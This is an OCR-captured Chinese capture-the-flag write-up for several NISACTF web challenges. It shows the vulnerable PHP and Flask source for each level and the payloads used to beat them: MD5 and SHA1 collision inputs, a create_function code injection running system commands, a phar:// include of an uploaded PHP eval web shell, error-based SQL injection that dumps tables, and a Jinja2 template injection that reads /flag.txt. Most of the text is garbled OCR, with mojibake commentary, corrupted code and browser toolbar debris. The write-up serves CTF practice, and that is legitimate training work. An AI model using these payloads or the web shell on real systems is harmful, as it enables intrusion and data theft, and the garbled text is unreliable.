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{?php
error_reporting(0) ;
include “flag. php”;:

{ ishenme bif{kge Flag!+!!

//tnnd!

if (”jitanglailo” == §_GET[ahahahahal && ’“NISACTF” == $_GIYyEIEEIsh0r:10))
echo $FLAG:

‘show_source (__FILE_ ):
>

Pt AR B AEAHE R ) Flvscode LTI R

e g.php";
+202E | [U+2066 | [U+2069] [U+2066]

jitanglailo™ == % GET[ahahahaha] &[U:+202E][U+2066]+!![U+2069][U+2066]& "[U+202E][U+2066] Flag![U+2069][U+2066]N1SACTF" == $ GET[[U+202E][U+2066
“ho $FLAG;

ce(_ FILE };

°, 2% o

RIFEUnicodeR k7 7F, BEEZREFAERH TR, REURLencodemis— T

B %payload
?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6 Flag!%E2%81%A
9%E2%81%A6N1SACTF
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NSSCTF{ef1f6df8-1c58-41e4-afe0-728ae64ff0f9} <?php

error_reporting(0);
include “flag.php”;
Welcome toNISACTF
if ("jitanglaile” == §_GET[ahahahahal && “NI1SACTF” == §$ GET[cuishiyuan]) { tnnd! weishenme bUgeiwo

echo $FLAG;

Des Dy DifE DeseETs D2 Dxpemms D Dems O=wEg Doagss Dxsegs Doithubim DEERE D=

F.

‘show_source (_FILE );
>

level-up
XR—Ephp Rk, —FREANEH N

level-1

« = (@ @ & view-source:htip://1.14.71.254:28930/
» DO Desms DeEE DaesessTs De=vwe Daxpemms Dt Dese Damez O

—_

nothing here
{!— here is level I —>
{!— disallow: ——>

TH—F, H2#ER, ct+tUBEFIENG, KIWERR disallow: XA Rrobots XN AR R, HERMMEVH—T

& = @ ¢ & view-source:http://1.14.71.254:28930/robots.txt
¥ Des Deser OEE DmEsesTE De=Ern Dxesams Dee Desey DameE D ms

[l

User—-agent: *
Disallow:
Disallow: level 2 ls h3re.php

level 2 1s h3re.php

level-2



&« =S @ C QO 8 1.1471.254:28216/level 2 15 h3re.php

% Des Deswr D08 DesssTs D2 Dxesmms Deie Depsmes Dxesg O 4oasss

—_

<?php

here is level 2
error_reporting(0);
include “str.php”;
if (isset($ _POST[ arrayl’]) && isset($ POST[ array2’ ])){

$al = (string)$ POST[ arravl I:
$a2 = (string)$ POST[ array2’ ];
if ($al == $a2){
die("29727) -
}
if (md5($al) === md5($a2)){
echo $level3;
}
else{
die("level 2 failed ..."):
}
}
else{
show_source(_FILE );
}
D
|

XR—ERE NSRRI, HERTHA, BREEHEKpayload, “FREZEIFRBK, BriliXARHEEEERAMRIT T

MD5

a=M%COh%F FAOERE3%5C%20%95 r%DAw%7Br%15%87%D30%A7%B2%1B%DCV%B7 1%3D%COxX%3E%7B%95%18%AF %BF %A2%00%A8%28K%F 3n%8EKU%B3 _
Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2

&b=MH%CO%F F%OESE 3%5C%20%95r%DAw%7Br%15%87%D30%A7%B2%1BADCV%B7 I%3D%COX%IE%7B%O5%1 8%AF%BF%A2%02%A8%28K%F 3n%8EKU%B3
_Bu%93%D8IgmhABKD1%D5%5D%S3%60%FB_%07%FE%A2

SHA1



array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%200bj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%2
00%20R/Subtype’%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%
3E%OAstream%0A%FF%D8%F F%FE%00%24SHA-1%201s%20dead%21%21%21%21%21%85 / %EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%
7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0OBE%CAE%D6%88%C7%F 8K%8CLY%1F%EQ@%2B%3D%F6%14%F8m%B1i%09%01%C5KE%C1S%0A%F
EZ%DF%B7%608%E9rr/%E7%ADr%8F %OEI%0A4%EQF %C20W%OF %E9%DA4%13%98%AB%EL . %F5%BC%947%2B%E35B%A4%80 - %98%B5%D7%0OF%2A3 . %C3%7F
%BAC5%1A%E7M%DC%OF%2C%C1%A8t%CD%OCXOZ%21VdaB%97%89%60k%DO%BF %3 F%98%CD%A8%0AF%29%A1

&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%2007%200bj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%
204%200%20R/Subtype’%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%20
8%3E%3E%OAstream%0A%FF%D8%FF%FE%00%24SHA-1%201is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%F
E%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0OF%F9%CAg%CC%A8%C7%F8%5B%A8LY%03%0C%2B%3D%E 27%18%F 8m%B3%A9%09%01%D5%DF E
%C10%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%OEE%BCHEOF%D2%3CW%OF%EB%14%13%98%BBU . %F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%
1F%OE3 . %DF%93%AC5%00%EBM%DC%OD%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%DOk%DO%AF%3F%98%CD%A4%BCF%29%B1

~ — O X
@ 1.1471.254:28216/level 2 15| X | +
< C 00 A FZE£| 1.1471.254:28216/level 2 1s_h3re.php Q © PP AR & 3 5 & » 0O ﬁ:
Level  3.php
.’ E‘:’ i
= 4l TR  I8HE&  Recorder & R RRE MR RE MR & Lighthouse ~ HackBar  Web Scraper  EditThisCookie o1 B2 R

LOAD SPLIT EXECUTE TEST ~ sqQLl ~ XSS -~ LFI ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~

AppPILAUUL I ATV VY VYT IsnvUucu MAuvw LAven

POST

array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%/Br%15%87%D30%A7%B2%1B%

DCV%B7J%3D%C0x%3E%/B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_
Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07 %FE%A28&array2=M%C9h%FF%0E
%E3%9C%20%99r%D4w%7Br%15%87%D30%A7%B2%1B%DCV%B7J%3D%C0x%3E
%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8lgm%A0%D1

Level _ 3.php

level-3



¢« > @ ¢ O 8 1.1471.25428216/Level 3.php
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<?php
here 1is level 3

error_reporting(0);

include “str.php”:

if (isset($ _POST[ arrayl’]) && isset($ POST[ array2 ])){

$al = (string)$ POST[ arrayl’ ];
$a2 = (string)$ POST[ array2 ];
if ($al = $a2){
die ("292927) .
}
if (shal($al) === shal($a2)){
echo $leveld;
}
else{
die("level 3 failed ..."):
}
}
else
show_source(_FILE );
}
%

R E—%—F, HEZEpayload—iER



Burp IHEH WMiEE =ERE O EBH

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer

1 = 2 x 3 = 4 = 5 x 6 = T =

User options

BiF: http://1.14.71.254:28126 7 (2)

IEE
Pretty [Eb= \n  Actions w

1 POST /Level _ 3.php HTTP/1.1

2 Host: 1.14.71.254:28126

3 Content-Length: 1295

4 Pragma: no—cache

5 Cache—Control: no—cache

4 Upgrade—Insecure—Requests: 1

7 Origin: http://1.14,71.254:28126

8 Content—Type: application/x—www—form—ur lencoded

9 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64)
AppleWebKit/537. 3¢ (KHTML, |ike Gecko)
Chrome/100. 0. 4896. 60 Safari/537.36

10 Accept:
text/html, application/xhtml+xml, application/xml;g=0.9, im
age/avif, image/webp, image/apng, ¥/%,q=0. 8, appl ication/sig
ned—-exchange;v=b3;g=0.9

11 Referer: http://1.14.71.254:28126/Level___ 3. php

12 Accept—Encoding: gzip, deflate

13 Accept-Language:
zh—CN, zh;0=0. 9, en;g=0. 8, zh-TW;g=0. 7, ru;g=0. 6

14 Connection: close

15

16 arrayl=
%25PDF—1. 3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%200b j%0A%3C%3
C/Width%202%200%20R/He i ght%203%200%20R/ Type%204%200%20R/
Subtype%205%200%20R/F i | ter%206%200%20R/Co | or Space%207%20
0%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Ast
ream%0A%FF%D8%FF%FE%00%24SHA-1%20i s%20dead%21%21%21%21%2
1%85/%EC%09%239u%9C9%B1%A1%CE%3CL%T 7%E 1 %FF%FE%01%7FF%DC%

@& (][] [ search-. | BEnE

=

level_level_4.php

level-4

<?php

//here is Llast Llevel
error_reporting(0);
include "str.php";
show_source(_ FILE_);

$str = parse_url($_SERVER[ 'REQUEST_URI']);
if($str['query'] == ""){
echo "give me a parameter";
by
if(preg_match('/ |_|20|5f|2e|\./",$str[ 'query'])){
die("blacklist here");

)

if($_GET['NI_SA_'] === "txwdever"){
die($level5);

¥

else{
die("level 4 failed ...");

¥

?>

7]

Gl [Fis  Render

1 HTTP/1.1 200 OK

2 Server: nginx/1.16.1

3 Date: Thu, 31 Mar 2022 12:39:38 GMT

4 Content—Type: text/html; charset=UTF-8
5 Connection: close

6 X-Powered—By: PHP/7.3. 11

7 Content—Length: 17

8

9 level level 4. php

@ {CI@ | Search...

H01D3adsSNI

BELE

200% 75 | 8ERP



XA Uk R php s S B i 20 BB L AR TE AR B IE A5 53

FEFUTINFS

fEphpH B E L 7R BB FZ R TRIKHERN, FTUREHpostitRgettE ANBBAZ MIHMEEBERK. + B, [BHANTRL, ERH—AEE
RS, BEL[REINE, FHMAMASEEHE LT, such as: “"CTF[SHOW.COM =>" CTF_SHOW.COM

X BN +5 BF Bl vg

&« =S @ C QO 8 1.1471.254:28126/level level 4.php?NI+SA+=txwdever

L Des Deses OrE DeseETs Dasme Dxesems Ot Deser D xpEE

<?php
here 1is last level
error_reporting(0) ;
include “str.php”;
show source( FILE ):

$str = parse url($ SERVER[ REQUEST URI']):
if(§str[ query’] == ""){
echo ”“give me a parameter”;

)i
if (preg match("/ | _[20/5f[2e|\. /", $str[  query’ 1)) {
die(“blacklist here”);
}
if($_GETU'NI_SA_'] === T“txwdever”) {
die($leveld):
)i
else(
die("level 4 failed ..."):
}
D
55 5 55.php

JERET —TETTME, JFERREZEparse_url BT BRI

P LAt i 53 4h—>payload i T
http://1.14.71.254:28023///Level_Level 4.php?NI_SA =txwd4ever
55_5 55.php

level-5
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L Deps Omses DR OmesesTs Dasoe Dxkeams Ose O

<{?php

sorry , here is true las
error reporting(0) ;
include “str.php”;

3a
$b

$ GET['a' ];
$ GET['b’ 1:

level

if(preg_match(’ /" [a—z0-9_]*§/isD’, $a)) {

show source( FILE ):
}

else

$a (", 8b);

create_functioniE A , WHEIFUHLH, EHE—IERIE

¢ > @ C O & 1147125428126/55 5 5.phpa=\create function&b=Jphpinfol://

Boax 0o WE G
& Dex Dezgs DRE Desesls Dasws Dxessmy DsE Desy D Docgse Dagrs Oghobiss DEERR D=EzIs OzEsE Des Damss Devssss DORa Desse D

Php

System Linux 53bb93cf6cb7 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64

Build Date Oct 25 2019 03:27:12

‘Configure Command *./configure’ --build=x86_64-linux-musl" '--with-config-file-path=/usr/local/etc/php’ '--with-config-file-
scan-dir=/usr/ ‘php/confd’ - ble-opti ing " *--with-mhash’ —-enable-ftp’ -
enable-mbstring’ "--enable-mysqind" --with -argon2' *--with-sodi *--with-pdo-
sqlite=/usr” --with-sqglite3=/usr' "--with-curl’ '--with-libedi h-openssl’ "--with-zl nable-fpm" -

ith-fp data’ "--with-fpm-group data' --disable-cgi’ 'build alias=x86_64-linux-musl’

Server AP| FPM/FastCGl

Virtual Directory Support disabled

< ion File (php.ini) Path Jusr/local/etc/php

Loaded Configuration File (none)

Scan this dir for additional .ini files

Jusi/localfetc/php/cont.d

Additional .ini files parsed

Jusr/local/etc/php/conf.d/docker-php-ext-sodium.ini

PHP API 20180731
PHP 20180731
Zend Extension 320180731

Zend Extension Build

API320180731,NTS

PHP Extension Build

API20180731,NTS

Debug Build no
Thread Safety disabled
Zend Signal Handling enabled
Zend Memory Manager enabled

Zend Multibyte Support

provided by mbstring

IPv6 Support ‘enabled
DTrace Support disabled
Registered PHP Streams https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar

Registered Stream Socket Transports

tcp, udp, unix, udg, sl s, tisv1.0, tisv1.1, tisvi.2

Y,

3 0 -« B »



« - @ ¢ O 8 1.1471.254:28126/55 5 55.php?a=\create_function&b=}system('tac /flag');//
T Des Oesmrs DieE DmsssTs Dasw Dxesmme Ot Dese DapeE Daamse Dxges Dgthobtm O EERS
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NSSCTF{a89afa25-69f2-4e28-a1b3-b2a4947f0836}

?a=\create_function&b=}system( 'tac /flag');//

bingdundun~
RIFEHNuploadiZ4ll, % T /Eulk4 T 24k

« = @m O O 8 1.14.71.254:28109/?bingdundun=upload
» DOes Desws OrE DestETE D2 Oxksnms O Deses Dapeg DoAsks Dxges Og

[t}

//index.php
| | SRS, | upload! |

{eTA EAEBUMEN) [EHaiEae] SERRE

iR IBupload BB akindex

« = @ X U 8 1.14.71.254:28109/?bingdundun=index
& Dz Desms DRE DEsssTE DR=2ae Dxpesmns OfE Dese OzeEg Daimss Dages Dottt DEEms D=msT1s [

=L

//index.php //index.php //index.php //index.php //index.php //indexphp //index.php //index.php //index.php //index.php //ir
//index.php //index.php //index php //index.php //index.php //index_php //index.php //index.php //index php //index_php //ir
//index.php //index.php //index php //index.php //index.php //index php //index.php //index.php //index.php //index.php //ir
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index php //index.php //ir
//index.php //index.php //index.php //index.php //index.php //indexphp //index.php //index.php //index.php //index.php //ir
//index.php //index.php //index php //index.php //index.php //index_php //index.php //index.php //index php //indexphp //ir
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //ir
//index.php //index.php //index.php //index.php //index.php //indexphp //index.php //index.php //index.php //index.php //ir
//index.php //index.php //index php //index.php //index.php //index_php //index.php //index.php //index php //index_php //ir
//index.php //index.php //index php //index.php //index.php //index php //index.php //index.php //index.php //index.php //ir
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index php //index.php //ir
//index.php //index.php //index.php //index.php //index.php //indexphp //index.php //index.php //index.php //index.php //ir
//index.php //index.php //index php //index.php //index.php //index_php //index.php //index.php //index php //indexphp //ir
//index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //index.php //ir

BEER—ANXHEERE, MAEFERES U L EFRH, XENZLEENESEEEBMN—A .php, WHXHREELEEA
MEZER, —8kd, X EEMERS IR EEER, MXEZHRE—NEHAC, REHEIXHERPHL.
0 zip:// M phar:// , XBEIRHBIHZpharfh il



&« @ ¢ O 8 1.14.71.254:28109/?bingdundun=phar://f2c45d8e8daf9806a1d94cd6902d6514.jpg/ 1
I Dz D DEE DesesTs D2y Dxesmme DeE Dese Dameg DaoaEss Dxgss Oothbimm DEEmE

//index.php <?php @eval ($_POST[1]) ;highlight_file(__FILE_):;?>

& > C 0 A FE2| 1.1471.25428109/7bingdundun=phar/f2cA5d8e8daf9806a1d94cd6903d6514,pg/1 Q@ B * RO®OG &AB & 3 §

//index.php bingdundun_ffllllllag.php f2c45d8e8daf9806a1d94cd6903d6514.jpg index.php upload.php «
php @eval ($ POST[1]) ;highlight file( FILE_ );?»

1
i

=

e 4l JE  EHE Recorder A WL RS MEE i MA w2 Lighthouse ~ HackBar ~ Web Scraper  EditThisCookie o1 B2

LOAD SPLIT EXECUTE TEST ~ sqQLl - XSS ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~

http://1.14.71.254:28109/?bingdundun=phar://f2c45d8e8daf9806a1d94cd6903d6514.jpg/1

enctype

Sz il application/x-www-form-urlencoded ADD HEADER

POST

1=system(lls);

BEEX bingdundun_ff111111lag.php XA RBLRZE —A™ file_get_contents i£H /flag? , #RJGcatif B %



&

¢« C O A FZ2| 1.14.71.254:28109/?bingdundun=phar.//f2c45d8e8daf9806a1d94cd6903d6514.jpg/1 B @ » W n®p & ®

//index.php NSSCTF{1c5bb796-45eb-48c5-a866-bae5ed48af93} <?php @eval($_POST[1]);highl

= O JLE  EHEIE Recorder & M RS MEE O mEFE NE &2 Lighthouse ~ HackBar ~ Web Scraper  EditThisCookie

LOAD SPLIT EXECUTE TEST ~ sQLl -~ SHELL ~ ENCODING ~

URL
http://1.14.71.254:28109/?bingdundun=phar://f2c45d8e8daf9806a1d94cd6903d6514.jpg/1

enctype

Enable application/x-www-form-urlencoded ADD HEADER

POST

Body
1=system('cat /flag?’);

« @ C O R 1.1471.25428330/clphp 22 oo Oy o M O L N O - B »
& D Deses O8E Dessls Dasse Degesasr Dae Ogss Dz Doagss Daggs Dovuta DEERs D2EsIs DzEsE Dwa Devss Dsatssms ORs Dz D=8
WP REEKE - BER RWEMR

B KTHA K Hu

. can u get flag ?
prstaic

-

FREFAE— T X AR, MiZXMEARSR T, —IERE, 5583 EsqiEN



@ 1.1471.25428109/tbingdund: X | @ FftxEFL X @ httpsy/cdnjsdelivrney/npm/ic X | @ view-sourcehttpsy//cdnjsdelic X 4

¢ C O A T2 1.1471.254:28330/d.php Q@ 2 * ORM®O &£ @ & & B * O
EXEZEFA]

message: txw4ever

1.14.71.254:28330/picture /A X EEH jpg T y
= Tt  B4l4  Recorder & Mg RRBE M "E NE =2 Lighthouse ~ HackBar Web Scraper  EditThisCookie B1 o : X

LOAD SPLIT EXECUTE TEST ~ sQLl SHELL ~ ENCODING ~ HASHING

http://1.14.71.254:28330/dl.php

enctype

Enable b plication/x-www-form-urlencoded I (I E

POST

RIFESQUEN, BEHE B b 20177 = 2 B0

RIEfuzz 7 —TF, KBS T AP IRERE Y



E BF 5l

Results Target Positions Payloads Resource Pool Options
s SFAETE |®
=3 R wE wE 55
24 A\ 2o acau
66 200 4240

DIIIIIIIIIIIIIIIIlllIIIIlllIIIIIIIIIIIIIIIIIIIIDDE%
Al EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEnnn @
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tt=1'|| extractvalue(l,concat('~",(select * from aa),'~'))%23




AREZ/NOEIE~

=k @ o BHE  Recorder 4 M RS M

LOAD SPLIT EXECUTE TEST ~ SQLI

http://1.14.71.254:28743/dl.php

enctype

Enable application/x-www-form-urlencoded

POST

tt=1'or extractvalue(1,concat(’~'(select * from aa),~'))%23

N7 N

z£

Lighthouse HackBar

ADD HEADER

Wel




Table 'sqlsqgl.aa’ doesn't exist

x Q]  7T= ##&  Recorder & RE  RAES MEE O NlE O NAE %2 Lighthouse

LOAD SPLIT EXECUTE TEST ~ SQLI

(SR VS

http://1.14.71.254:28743/dl.php

enctype

application/x-www-form-urlencoded

Enable
POST

Body
tt=1'|| extractvalue(1,concat('~'(select * from aa),~"))%23

X BB A or A banT , ERFA LA || F, RJ5databasefftbanT, AT LM X 77 k2 1 2 24 50 B0 B 4



it

XPATH syntax error: '~Fal_flag,output~'

1.14.71.254:28743/picture/2 5 SE A .jpg
k O] | 7= B4%4  Recorder & RS RS MEE N A

LOAD SPLIT EXECUTE TEST ~ sQLl

e

http://1.14.71.254:28743/dl.php

enctype

Enable application/x-www-form-urlencoded

POST

Body
tt=1'|| extractvalue(1,concat('~"(select group_concat(table_name) from

information_schema.tables where table_schema like 'sqlsql’),~"))%23

BTETS, BEEAlkefRE,

mRA

tt

Fa

1%

sqlsql
1 flag,output

F A KR R L column K88 Hiban, BT AL BIEAN

1514

tt

id

=5

LFI

Lighthouse HackBar Web Scraper

-

SHELL

ADD HEADER

extractvalue(1,concat select * from (select * from Fal_flag a join Fal_flag)c




Duplicate column name 'id'

v 0] TR BHE&  Recorder & Mg RS MEE REFE WA %2 Lighthouse ~ HackBar ~ Web Sc

LOAD SPLIT EXECUTE TEST ~ SQLI SHELL

enctype

Enabl N
nabie application/x-www-form-urlencoded ADD HEADER

POST

Body
tt=1'|| extractvalue(1,concat('~',(select * from (select * from Fal_flag a join

Fal_flag)c),~"))%23

Duplicate column name 'data’

e 0] JtE=  EHlE Recorder & Mg RSB MEE RE WA %R Lighthouse  HackBar W

LOAD SPLIT EXECUTE TEST -~ SQLl

enctype

Enable 4 pplication/x-www-form-urlencoded sl

POST

Body
tt=1'|| extractvalue(1,concat('~',(select * from (select * from output a join

output)c),~"))%23

Bt LA 25 2 i output3)



XPATH syntax error: '~NSSCTF{a04d929d-dfff-4dda-8a...

1.14.71.254:28743 /picture/ A 2B A jpg

= ol Jo&E IS Recorder & MR RSB MEE O RNEF WA %22 Lighthouse ~ HackBar W

LOAD SPLIT EXECUTE TEST ~ sqQLl

http://1.14.71.254:28743/dl.php

enctype

application/x-www-form-urlencoded ADD HEADER

Enable
POST

Body
tt=1'|| extractvalue(1,concat('~',(select data from output),~"))%23

% payload

tt

NSSCTF{2d21e3f5-90b@
e3f5 bo C

ca-albecc60
a-albecc602f94}

NSSCTF{2d21e35-90be ca-albecc602f94}
AMExR, KU
« @ C Q 1.1471.254:28037
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Tell me your secret.| will encrypt it so others can't see



« = @ G O 8 1.1471.254:28037/secret?secret=admin

5 Des Omsmr OeE OesssTs Desws Dzeewms Ose Deme Oxssz Deapss Oiees Do DEEms O=gs1s Dkss D

UnicodeDecodeError

UnicodeDecodeError: ~ascii’ codec can' t decode byte Oxad in position 4: ordinal not in range(128)

Traceback (most recent call last)

File "/usr/local/lib/python2.7 /site-packages/flask/app.py”, line 2309, in __call__

return self.wsgi_app(environ, start_response)

File "/usr/local/lib/python2.7 /site-packages/flask/app.py”, line 2295, in wsgi_app

response = self.handle_exception(e)

File "/usr/local/lib/python2.7 /site-packages/flask/app.py”, line 1741, in handle_exception

reraise(exc_type, exc value, tb)

File "/usr/local/lib/python2.7 /site-packages/flask/app.py”, line 2292, in wsgi_app
response = self.full_dispatch_request()

File "/usr/local/lib/python2.7 /site-packages/flask/app.py", line 1815, in full_dispatch_request

rv = self.handle user exception(e)

File "/usr/local/lib/python2.7 /site-packages/flask/app.py”, line 1718, in handle_user_exception

reraise(exc_type, exc_value, tb)

File "/usr/local/lib/python2.7 /site-packages/flask/app.py”, line 1813, in full_dispatch_request
rv = self.dispatch_request()

File "/usr/local/lib/python2.7 /site-packages/flask/app.py", line 1799, in dispatch_request

return self.view_functions[rule.endpoint](**req.view_args)

File "/app/app.py’, line 35, in secret
a=render_template_string(safe(deS))

Cila " fnier lnral ik fratbhnand 7ilcita markeamne (Fflack (tammlatine ma? linn 740 in candae frmelada cdbedos

BERNMFBAE RBE, FEEANBUUSIE RUKE, XMENT 1S, MERMET, HESTRRERGSE, KIR
flask, Hpython2.7kx7

RERHEWAT —T, RASHRKERTHFTSZEMwRE, MEH XA

File "/usr/local/lib/python2.7 /site-packages/flask/app.py", line 7718, in handle_user_exception
reraise(exc_type, exc_value, tb)
File "/usr/local/lib/python2.7 /site-packages/flask/app.py", line 1813, in full_dispatch_request
rv = self.dispatch_request()
File “/usr/local/lib/python2.7 /site-packages/flask/app.py”", line 1799, in dispatch_request
return self.view_functions[rule.endpoint](**req.view_args)
File “/app/app.py", line 35, in secret
if(secret==None):
return ‘Tell me your secret.l will encrypt it so others can\'t see’
rc=rcd_Modified.RC4("HerelsTreasure™)  ##R%
deS=rc.do_crypt(secret)

a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
return 'flag detected!’

return a

File "/usr/local/lib/python2.7 /site-packages /flask/templating.py”, line 149, in render_template_string
return _render(ctx.app.jinja_env.from_string(source),
File "/usr/local/lib/python2.7/site-packages/jinja2/environment.py”, line 9417, in from_string
return cls_from code(self, self.compile(source), globals, None)
File "/usr/local/lib/python2.7/site-packages/jinja2/environment.py”, line 628, in compile
source = self._parse(source, name, filename)
File “/usr/local/lib/python2.7 /site-packages/jinja2/environment.py”, line 539, in _parse
return Parser(self, source, name, encode_filename(filename)).parse()
File "/usr/local/lib/python2.7 /site-packages/jinja2/parser.py”, line 45, in __init

self.stream = environment. tokenize(source. name. filename. state)



FEIX B AT PUE B 3 X frapp/app.py Ik E B an b, %118 T RRCAINE, HEHATH

N HereIsTreasure J5HAN

a=render_template_string(safe(deS))

B RAEREN, safefiZE—ATIEEEL, ArlE#E K payloadRCAME Z EENKFHATLLT

sstiffipayloadfn F

{{""._class__._mro__._ getitem_ (2).__subclasses_ ().pop(40)('/flag.txt"').read()}}

Forh A5 i R file 77 ik

a="<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestr
ing'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <t
ype ‘'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'comple
x'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>,
<type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_o
r_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator’
>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_
descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <
type 'sys.long info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatt
eriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module’'>,
<type "imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_res
ult'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class ' weakrefset. IterationGuard
'>, <class '_weakrefset.WeakSet'>, <class ' _abcoll.Hashable'>, <type 'classmethod'>, <class ' abcoll.Iterable'>,
' _abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict _keys'>, <type 'di

<class
ct_items'>, <type 'dict_values'>, <class 'site. Printer'>, <class 'site. Helper'>, <type '_sre.SRE_Pattern'>, <t
ype '_sre.SRE_Match'>, <type ' sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <

class 'codecs.IncrementalDecoder'>, <type '_io. IOBase'>, <type
ls.partial'>, <type '_ssl. SSLContext'>, <type ' ssl. SSLSocket'>, <type 'cStringIO.String0'>, <type 'cStringIO.

_io.IncrementalNewlineDecoder'>, <type 'functoo

StringIl'>, <class 'socket. closedsocket'>, <type ' socket.socket'>, <type 'method_descriptor'>, <class 'socket._
socketobject'>, <class 'socket. fileobject'>, <type 'datetime.date'>, <type 'datetime.timedelta'>, <type 'dateti
me.time'>, <type 'datetime.tzinfo'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator
.methodcaller'>, <type 'collections.deque'>, <type 'deque_iterator'>, <type 'deque_reverse_iterator'>, <type 'it
ertools.combinations'>, <type 'itertools.combinations_with_replacement'>, <type 'itertools.cycle'>, <type 'itert
ools.dropwhile'>, <type 'itertools.takewhile'>, <type 'itertools.islice'>, <type 'itertools.starmap'>, <type 'it
ertools.imap'>, <type 'itertools.chain'>, <type 'itertools.compress'>, <type 'itertools.ifilter'>, <type 'iterto
ols.ifilterfalse'>, <type 'itertools.count'>, <type 'itertools.izip'>, <type 'itertools.izip_longest'>, <type 'i
tertools.permutations'>, <type 'itertools.product'>, <type 'itertools.repeat'>, <type 'itertools.groupby'>, <typ

e 'itertools.tee_dataobject'>, <type 'itertools.tee'>, <type 'itertools._grouper'>, <type '_thread._localdummy'>
, <type 'thread._local'>, <type 'thread.lock'>, <class 'string.Template'>, <class 'string.Formatter'>, <type 'ti
me.struct_time'>, <class 'threading._ Verbose'>, <class 'logging.LogRecord'>, <class 'logging.Formatter'>, <class
'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolde
r'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._ internal. Missing'>, <class '
werkzeug. _internal. DictAccessorProperty'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Ab
orter'>, <class 'werkzeug.urls.Href'>, <type 'select.epoll'>, <type ' _hashlib.HASH'>, <type ' random.Random'>, <
class 'contextlib.GeneratorContextManager'>, <class 'contextlib.closing'>, <type 'Struct'>, <class 'click._compa
t._ FixupStream'>, <class 'click. compat. AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepO
penFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argumen
t'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>,
<class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class
‘click.core.Parameter'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._ SSLContext'>,
<class 'werkzeug.serving.BaseWSGIServer'>, <class ‘'urlparse.ResultMixin'>, <class 'werkzeug.datastructures.Immu
tablelListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDi
ctMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures. omd_bucket'>, <class 'w
erkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.data
